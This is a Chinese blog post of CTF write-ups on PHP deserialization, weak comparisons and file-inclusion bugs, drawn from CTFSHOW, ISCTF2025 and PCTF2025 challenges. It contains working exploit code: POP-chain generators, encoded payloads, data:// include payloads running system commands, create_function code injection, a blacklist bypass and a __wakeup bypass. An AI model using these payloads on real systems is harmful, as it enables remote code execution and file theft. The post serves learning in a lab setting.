对于php的重新学习,基于反序列化方面
本文最后更新于16 天前,其中的信息可能已经过时,如有错误请发送邮件到2206143407@qq.com

对于php的重新学习,基于反序列化方面(1)

1.原理:

序列化技术的出现主要是解决抽象数据存储问题,反序列化技术则是解决序列化数据抽象化的。

换句话来说, 一个类的对象, 像这种具有层级结构的数据,你没办法直接像文本那样存储,所以我们必须采取某种规则将其文本化(流化),反序列化的时候再复原它。(在学习的时候在一个网站上复制的,接下来我会以例题的形式一道一道阐述我的理解)

2.例题

CTFSHOW-2026元旦跨年欢乐赛:奇怪的2026

<?php
error_reporting(0);
highlight_file(__FILE__);

$happy = $_GET['happy'];
$new = $_GET['new'];
$year = $_GET['year'];

if($year==2026 && $year!==2026 && is_numeric($year)){
    include $happy[$new[$year]];
}

解读一:

if($year==2026 && $year!==2026 && is_numeric($year))

这里感觉这个条件是不太对的(不清楚强比较),但是题目都这样说了肯定是有方法的,我尝试询问ai,ai是这样回复的

这个判断条件看似矛盾,实则利用了 PHP 的特性:

$year == 2026 (弱比较): PHP 在进行 == 比较时,会尝试转换类型。字符串 '2026' 会被转换为数字 2026,所以条件成立。

$year !== 2026 (强比较): 强比较要求值和类型都相等。我们在 URL 中传入的参数默认是 字符串 (String) 类型,而代码中的 2026 是 整型 (Integer)。因此,'2026' !== 2026 成立。

is_numeric($year): 检查变量是否为数字或数字字符串。'2026' 是数字字符串,条件成立。

解读二:

 include $happy[$new[$year]];

这是一个嵌套的数组访问

先获取year的值,再获取数组$new[2026]的值,最后查找$happy['$new[2026]']

所以我们尝试include这个漏洞查看flag.php这个页面,

经过尝试发现直接读取flag.php没有看见任何回显,在ai提示下,

'php://filter/read=convert.base64-encode/resource=flag.php'

感觉好奇怪,在浏览器上查询后发现了这个文件包含漏洞(include)-学习笔记_php include 文件写入 漏洞-CSDN博客理解到这是常用方法,记忆后,再将payload用http_build_query进行编码

注:php中的 echo 命令只能输出字符串或数字。

<?php
$payload_data = [
    'year' => '2026',
    'new'  => ['2026' => 'key' ],
    'happy' => ['key' => 'php://filter/read=convert.base64-encode/resource=flag.php']
];
echo "?".http_build_query($payload_data);
?>

payload:

?year=2026&new%5B2026%5D=key&happy%5Bkey%5D=php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php

用hackbar使用get传参得到:

PD9waHAgJGZsYWc9J2N0ZnNob3d7MTc3MTlkYjctMjhlMy00NjMxLWEyMjQtMGZjMGViOTc2ZTA3fSc7Cg==

base64 解码得到:

<?php $flag='ctfshow{17719db7-28e3-4631-a224-0fc0eb976e07}';

ctfshow{17719db7-28e3-4631-a224-0fc0eb976e07}

CTFSHOWDSBCTF:签到·好玩的PHP

php链如下

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]); 

那么我们要绕过的是__destruct

if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { // 强类型不相等
    if (md5($dsb) === md5($this->ctf)) { // MD5 强类型相等
        echo file_get_contents("/flag.txt");
    }
}

利用点: PHP 的 md5() 函数在处理参数时,如果传入的是整数(Integer),它会将其转换为字符串再计算哈希。 而 PHP 的 !== 运算符在比较 字符串整数 时,会认为它们不相等。

构造 Payload

我们需要满足以下条件:

  1. $d, $s, $b必须互不相等。
  2. $d, $s, $b 拼出来的字符串($dsb\)长度不超过 3。
  3. $this->ctf 的长度也不超过 3。
  4. $dsb 是字符串类型,$this->ctf 是整数类型,且内容看起来一样。

设定值:

  • $d = "1"
  • $s = "2"
  • $b = "3"
  • 拼接后 $dsb = "123"(字符串)
  • $ctf = 123(整数)

逻辑验证:

  1. "123" !== 123 -> True (类型不同)。
  2. md5("123") === md5(123) -> True (PHP 计算 md5(123) 时会按 “123” 计算,结果一致)。
  3. 长度检查均满足。

那么exp

<?php
class ctfshow {
    private $d;
    private $s;
    private $b;
    private $ctf;

    public function __construct(){
        $this->d = "1";
        $this->s = "2";
        $this->b = "3";
        $this->ctf = 123; // 注意这里是整数类型 int
    }
}

$a = new ctfshow();
// 输出 URL 编码后的 Payload,因为 private 属性包含不可见字符 %00
echo urlencode(serialize($a));
?>

得到payload

O%3A7%3A%22ctfshow%22%3A4%3A%7Bs%3A10%3A%22%00ctfshow%00d%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22%00ctfshow%00s%22%3Bs%3A1%3A%222%22%3Bs%3A10%3A%22%00ctfshow%00b%22%3Bs%3A1%3A%223%22%3Bs%3A12%3A%22%00ctfshow%00ctf%22%3Bi%3A123%3B%7D

构造?dsbctf=xxx(payload) 传参

1768471522087.png

ctfshow{f8a32a7d-44de-4e32-a53c-dccab2c0677c}

ISCTF2025:ezpop

这里给了一个php

<?php
error_reporting(0);

class begin {
    public $var1;
    public $var2;

    function __construct($a)
    {
        $this->var1 = $a;
    }
    function __destruct() {
        echo $this->var1;
    }

    public function __toString() {
        $newFunc = $this->var2;
        return $newFunc();
    }
}

class starlord {
    public $var4;
    public $var5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->var4;
        return $function();
    }

    public function __get($arg1) {
        $this->var5->ll2('b2');
    }
}

class anna {
    public $var6;
    public $var7;

    public function __toString() {
        $long = @$this->var6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->var7->tt2) {
            echo "yamada yamada";
        }
    }
}

class eenndd {
    public $command;

    public function __get($arg1) {
        if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
            echo "nonono";
        }else {
            eval($this->command);
        }
    }
}

class flaag {
    public $var10;
    public $var11="1145141919810";

    public function __invoke() {
        if (md5(md5($this->var11)) == 666) {
            return $this->var10->hey;
        }
    }
}

if (isset($_POST['ISCTF'])) {
    unserialize($_POST["ISCTF"]);
}else {
    highlight_file(__FILE__);
}

Step 1: Code End -> begin::destruct().

Step 2: echo -> anna::toString().

Step 3: Call unknown method ‘add’ -> starlord::call().

Step 4: Run object as function -> flaag::invoke().

Step 5: Access unknown property ‘hey’ -> eenndd::get().

Step 6: eval($command) -> EXECUTE.

审计代码如下:

/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i

构造命令:readfile(‘/flag’); 绕过正则:不能有 ‘flag’ 字样,不能有空格。 这里的字符串是 PHP 代码,eval 执行时会拼接 ‘/fl’.’ag’ 变成 ‘/flag’

这个需要一个准确md值,简单使用一个for循环来爆破

<?php
for($i=0; $i<1000000; $i++){
    if(md5(md5($i)) == 666){
        echo $i; break;
    }
}

结果为213,带入代码框架。

<?php
class begin {
    public $var1;
    public $var2;
}
class starlord {
    public $var4;
    public $var5;
    public $arg1;
}
class anna {
    public $var6;
    public $var7;
}
class eenndd {
    public $command;
}
class flaag {
    public $var10;
    public $var11;
}
$collision_val = "213"; 

// 构造 POP 链

$e = new eenndd();
$e->command = "readfile('/fl'.'ag');"; 

$f = new flaag();
$f->var10 = $e; // 触发 eenndd::__get
$f->var11 = $collision_val; // 绕过 MD5 检查

$s = new starlord();
$s->var4 = $f; // 触发 flaag::__invoke

$a = new anna();
$a->var6 = $s; // 触发 starlord::__call

$b = new begin(null);
$b->var1 = $a; // 触发 anna::__toString

$payload = serialize($b);
echo "Payload (URL Encoded):\n";
echo urlencode($payload);
echo "\n";
?>

通过php运行得到payload

O%3A5%3A%22begin%22%3A2%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A2%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A3%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A21%3A%22readfile%28%27%2Ffl%27.%27ag%27%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bs%3A3%3A%22213%22%3B%7Ds%3A4%3A%22var5%22%3BN%3Bs%3A4%3A%22arg1%22%3BN%3B%7Ds%3A4%3A%22var7%22%3BN%3B%7Ds%3A4%3A%22var2%22%3BN%3B%7D

post传参ISCTF=xxxx(payload)

ISCTF{b8058e79-a383-47ab-9941-0d219fcb6bee}

ISCTF2025:Bypass

源码如下

<?php
class FLAG
{
    private $a;
    protected $b;
    public function __construct($a, $b)
        {
            $this->a = $a;
            $this->b = $b;
            $this->check($a,$b);
            eval($a.$b);
        }
    public function __destruct(){
            $a = (string)$this->a;
            $b = (string)$this->b;
            if ($this->check($a,$b)){
                $a("", $b);
            }
            else{
                echo "Try again!";
            }
        }
    private function check($a, $b) {
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];

        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';

        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
            return false;
        }
        return true;
    }  
}

if (isset($_GET['exp'])) {
    $p = unserialize($_GET['exp']);
    var_dump($p);
}else{
    highlight_file("index.php");
}

代码最后通过 unserialize($_GET['exp']) 接收参数,这说明是一个反序列化漏洞

利用链 (POP Chain)

  • FLAG 类中有一个 __destruct() 魔术方法。

  • 当对象被销毁时,代码执行逻辑:

    PHP

    if ($this->check($a, $b)) {
        $a("", $b); // 关键点:将执行 $a("", $b)
    }
    
  • 我们的目标是控制 $a$b,使得 $a 成为一个危险函数,利用 $b 执行系统命令。

防御机制 (check 函数)

  • $blocked_a (针对函数名):过滤了 system, exec, passthru (包含 p, s), shell_exec 等常用命令执行函数。
  • $blocked_b (针对参数):过滤了极其严格的字符,包括 c, t, f, l, a, g, php, e 等。这意味着我们不能直接写 cat /flagbase64 等字符串。
  1. 解题思路

第一步:绕过 $a 的函数名黑名单

我们需要一个函数,它满足两个条件:

  1. 不在黑名单中$blocked_a 屏蔽了大量的系统命令函数。
  2. 参数结构匹配:该函数必须能接受两个参数,且第一个参数可以是空字符串 ""(由 __destruct 强制传入)。

突破口:create_function

  • create_function(string $args, string $code) 用于创建一个匿名函数。
  • 它的函数名字符(c, r, e, a, t, f, u, n, i, o)均未出现在 $blocked_a
  • 它完美接受两个参数。调用 $a("", $b) 相当于执行 create_function("", $b)

第二步:绕过 $b 的内容黑名单

$blocked_b 几乎过滤了所有能组成 cat /flag 的字母。

突破口:八进制转义 (Octal Escape)

  • 在 PHP 字符串中,我们可以使用八进制 ASCII 码来表示字符。例如 s 的 ASCII 是 115,八进制是 163,写成 \163
  • PHP 解析器在处理字符串时会将 \163 还原为 s
  • $blocked_b 没有过滤数字 (0-9) 和反斜杠 ()
  • 因此,我们可以将 Payload 全部转换为八进制格式。

第三步:代码注入 (Code Injection)

这是本题最容易被忽略的一点。create_function 的作用是定义一个函数,而不是执行它。 如果我们仅传入 Payload,代码只会生成一个包含恶意代码的匿名函数,但永远不会运行。

利用原理create_function('$args', '$code') 的内部实现大致等同于:

PHP

eval("function lambda_1($args) { $code }");

我们需要利用 $code 参数来“逃逸”出这个函数定义。

Payload 结构

PHP

} 恶意代码; /*

代入后变成:

PHP

function lambda_1() { } 恶意代码; /* }

这样,PHP 解析时会先定义一个空函数,紧接着立即执行我们的恶意代码,最后的 /* 将原本自动生成的 } 注释掉,防止语法错误。


  1. Payload 构造

我们需要执行的原始命令是:

PHP

system("cat /flag");

由于 system 也在黑名单(不能明文出现),且为了利用八进制绕过,我们使用变量函数调用的方式:

PHP

$z="system";
$z("cat /flag");

八进制编码对照表

  • system -> \163\171\163\164\145\155
  • cat /flag -> \143\141\164\40\57\146\154\141\147

最终注入的 $b 字符串

PHP

} $z="\163\171\163\164\145\155"; $z("\143\141\164\40\57\146\154\141\147"); /*

  1. EXP 生成脚本

由于 $a 是 private 属性,$b 是 protected 属性,直接手写序列化字符串容易丢失不可见字符 %00,建议使用脚本生成。

PHP

<?php
class FLAG
{
    private $a;
    protected $b;

    public function __construct()
    {
        $this->a = "create_function";
        $cmd = '$z="\163\171\163\164\145\155";$z("\143\141\164\40\57\146\154\141\147");';   
        $this->b = '}' . $cmd . '/*';
    }
}

$obj = new FLAG();
$serialized = serialize($obj);

echo "Payload (URL Encoded):\n";
echo urlencode($serialized);
?>

运行得到payload

O%3A4%3A%22FLAG%22%3A2%3A%7Bs%3A7%3A%22%00FLAG%00a%22%3Bs%3A15%3A%22create_function%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A74%3A%22%7D%24z%3D%22%5C163%5C171%5C163%5C164%5C145%5C155%22%3B%24z%28%22%5C143%5C141%5C164%5C40%5C57%5C146%5C154%5C141%5C147%22%29%3B%2F%2A%22%3B%7D

结果如图

然后这样就可以了

ISCTF{061d3ef6-dc87-4dea-ab89-24402336c198}

对于php的重新学习,基于反序列化方面(2)

1.前言

近期在学习helloctf上的细碎知识点,不得不说探姬姐姐这个做的真的很好,下个章节呢,我就打算按着fulian说的开始去学习SSTI了,嘿嘿,希望我这篇文章能给你我带来不同的感想,废话不多说了,现在开始实战(我会从几个比赛捞几道题来讲)(为什么感觉没做几道题4个小时就过去了呢,虽然我做了几道密码/小声bb)

2.例题

PCTF2025:EZPHP

1768656521791.png

Please pass in "number" value
the number value between 111111 and 999999:

这里我郁闷了挺久,没想到最后是爆破解决的

爆破后应该是number=114514

get传参我们进入下一步步骤

<?php
error_reporting(0);
    echo "Please pass in \"number\" value <br>";
    echo "the number value between 111111 and 999999:<br>";
    if($_GET["number"]==114514) {
        highlight_file(__FILE__);
        echo "OK!Please find the flag!<br>";
        if($_GET['action']=="read"){
            $filename=$_POST["filename"];
            file($filename);
        }elseif($_GET["action"]== "include"){
            $filename=$_POST["filename"];
            include($filename);
        }
    }

?>

action=read:使用 file() 函数。虽然读取了文件,但代码没有 echovar_dump 输出结果,因此不可取。

action=include:使用 include() 函数。这是典型的文件包含漏洞 (LFI)。如果可以控制 $filename,配合 PHP 伪协议,可以实现源码读取或远程代码执行

get部分传参就定下来了:

http://challenge.imxbt.cn:30917/?number=114514&action=include

现在我们尝试post部分

Payload 1: 查看当前目录

HTTP

filename=data://text/plain,<?php system("ls");?>
  • 结果:返回 index.php
  • 分析:当前目录下没有 flag 文件。

Payload 2: 查看根目录 通常 CTF 的 flag 如果不在当前目录,就在根目录 / 下。

HTTP

filename=data://text/plain,<?php system("ls /");?>
  • 结果

    Plaintext

    BH1R2IOIbW5eO5Gw bin dev etc home ... (其他系统目录)
    

    发现一个文件名极长的异常文件 BH1R2IOIbW5eO5Gw,这就是被重命名的 flag 文件。

Payload 3: 读取文件内容

HTTP

filename=data://text/plain,<?php system("cat /BH1R2IOIbW5eO5Gw");?>

PCTF{acf79230-a9f2-492d-aabe-7427351db10a}

PCTF2025:php_with_md5

源码如下

<?php
error_reporting(0);
highlight_file(__FILE__);
echo "Welcome to the PHP world!";
echo "<br>";
echo "Can you get the flag in my php file?";

if(isset($_GET['begin'])=='admin'){
    $begin=$_GET['begin'];

    if(!preg_match('/admin/i',$begin)){
        echo "Excellent!";

        if($_POST['password']==md5($_POST['password'])){
            echo "Wooow!,you are so clever!";

            if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
                echo "Continue!";

                if($_GET['c']!=$_GET['d'] && md5($_GET['c'])===md5($_GET['d'])) {
                    echo "Congratulations! You have completely learned the MD5 skills!";
                    @eval($_POST['cmd']);

                }
            }else{ die("Nope,try again!");}
        }else{ die("Haha,try again!");}
    }else{ die("NoNoNO! You can't do that!");}
}else{ die("Oooooooops,You are not admin!");}

?>

对于Get传参部分

  • begin
if(isset($_GET['begin'])=='admin'){
    $begin=$_GET['begin'];

    if(!preg_match('/admin/i',$begin)){
        echo "Excellent!";

isset($_GET['begin'])=='admin':这是一个具有迷惑性的写法。isset() 返回的是布尔值 truefalse。在 PHP 中,非空字符串 'admin' 转换为布尔值也是 true。所以,只要传入了 begin 参数,true == true 就成立。

!preg_match('/admin/i',$begin):这就要求 $begin 的值里面不能包含 “admin” (不区分大小写)。

  • ab
            if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
                echo "Continue!";

这里是一个弱比较,我们需要两个不同的字符串,但是这两个字符串的md5值必须一样,我学到这一块的时候,在指导上看见一个简单的方法,要让md5值相等,我们可以让他们md5值开头都为0e(即意义为0)

我找ai生成了几个,它推荐我配一个fastcoll,暂时先不提这个

字符串 A: $a = "QNKCDZO"

  • MD5 值: 0e830400451993494058024219903391

字符串 B: $b = "240610708"

  • MD5 值: 0e462097431906509019562988736854

     

  • cd

if($_GET['c']!=$_GET['d'] && md5($_GET['c'])===md5($_GET['d']))

使用了 ===,必须找到两个内容不同MD5 哈希完全一致的二进制字符串。不能用 0e 欺骗,必须是真碰撞。找ai生成一个

Payload C: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

Payload D: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

综上所诉:

1. GET 参数构造(URL):

Plaintext

http://challenge.imxbt.cn:30946/?begin=abc&a=QNKCDZO&b=240610708&c=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&d=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

2. POST 参数构造: 利用 system() 函数执行命令读取 flag。

Plaintext

password=0e215962017&cmd=system('cat /flag');

1768662463124.png

PCTF2025:unserialize

<?php
highlight_file(__FILE__);
//flag.php
class Logger {
    public $log_file = 'app.log';
    public $message;
    public function log() {
        file_put_contents($this->log_file, $this->message, FILE_APPEND);
    }
}

class UserProfile {
    public $username;
    public $data = [];
    public function __toString() { return $this->username; }
}

class TemplateEngine {
    public $template_name;
    public function render() { return "Rendering " . $this->template_name; }
}

class ReadFile {
    public $filename;
    public function __wakeup() {
        if (strpos($this->filename, 'flag') !== false) {
            $this->filename = 'index.php';
        }
    }
    public function getFileContent() {
        echo file_get_contents($this->filename);
    }
}

class FileHandler {
    public $source;
    public function __invoke() {
        return $this->source->getFileContent();
    }
}

class TaskRunner {
    private $task;
    public function __construct($task) { $this->task = $task; }
    public function run() {
        call_user_func($this->task);
    }
}

class Middleware {
    public $next;
    public function __destruct() {
        if (isset($this->next)) {
            $this->next->run();
        }
    }
}

if (isset($_GET['data'])) {
    $serialized_data = $_GET['data'];
    try {
        unserialize($serialized_data);
    } catch (Exception $e) {
        echo "Error: " . $e->getMessage();
    }
}
?>

核心代码审计:

  • 1Middleware::__destruct()

    • 对象销毁时触发 $this->next->run()
  • 2

    • TaskRunner::run(): 执行 call_user_func($this->task)。这允许我们把一个对象当作函数来调用。
    • FileHandler::__invoke(): 当对象被当作函数调用时触发,执行 $this->source->getFileContent()
  • 3 ReadFile::getFileContent()

    • 执行 file_get_contents($this->filename) 读取文件。
  • 4 ReadFile::__wakeup()

    • 反序列化时,如果 $filename 中包含 “flag” 字符串,会将其强制重置为 index.php

思路:

我们要从入口走到终点,构造如下的调用链:

  1. Middleware -> TaskRunner
  2. TaskRunner -> FileHandler
  3. FileHandler -> ReadFile

利用 CVE-2016-7124 绕过防御: 题目明确过滤了 “flag”,且环境看起来像旧版本 PHP。我们可以利用 CVE-2016-7124:

当序列化字符串中,表示对象属性个数的值 大于 真实的属性个数 时,__wakeup() 不会被执行。

成功执行了利用链,但页面报了 Warning: Warning: file_get_contents(/flag): failed to open stream: No such file or directory

  • 尝试过程:

    1. 最初尝试 flag.php,因 Payload 格式错误失败。
    2. 改为尝试根目录 /flag
    3. 得到了 failed to open stream 报错。这个报错非常有价值,它证明了我们的 RCE(远程代码执行)已经成功了,只是文件路径不对。
  • 最终确认: 结合代码注释 //flag.php,确定文件就在当前目录下。

     

当我们将路径改回 flag.php 并发送正确的 Payload 后,页面看起来是一片空白(或者只有原代码)。

  • 原因: flag.php 内部也是 PHP 代码(如 <?php $flag = ... ?>)。浏览器会把 <?php 当作 HTML 标签隐藏起来。
  • 解决: 必须查看网页源代码 。

payload:

<?php
class ReadFile {
    public $filename = 'flag.php'; // 目标文件
}

class FileHandler {
    public $source;
}

class TaskRunner {
    private $task;
    public function __construct($task) {
        $this->task = $task;
    }
}

class Middleware {
    public $next;
}

$readFile = new ReadFile();
$fileHandler = new FileHandler();
$fileHandler->source = $readFile;
$taskRunner = new TaskRunner($fileHandler);
$middleware = new Middleware();
$middleware->next = $taskRunner;

$serialized = serialize($middleware);
$payload = str_replace('O:8:"ReadFile":1:', 'O:8:"ReadFile":2:', $serialized);

echo urlencode($payload);
?>

最终 Payload:

Plaintext

O%3A10%3A%22Middleware%22%3A1%3A%7Bs%3A4%3A%22next%22%3BO%3A10%3A%22TaskRunner%22%3A1%3A%7Bs%3A16%3A%22%00TaskRunner%00task%22%3BO%3A11%3A%22FileHandler%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A8%3A%22ReadFile%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D%7D

注:

CVE-2016-7124:通过修改属性数量制造反序列化错误,从而绕过 __wakeup 中的过滤检查。

flag:PCTF{21b6dc74-9fe1-4671-91b3-7c94891f2de3}

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇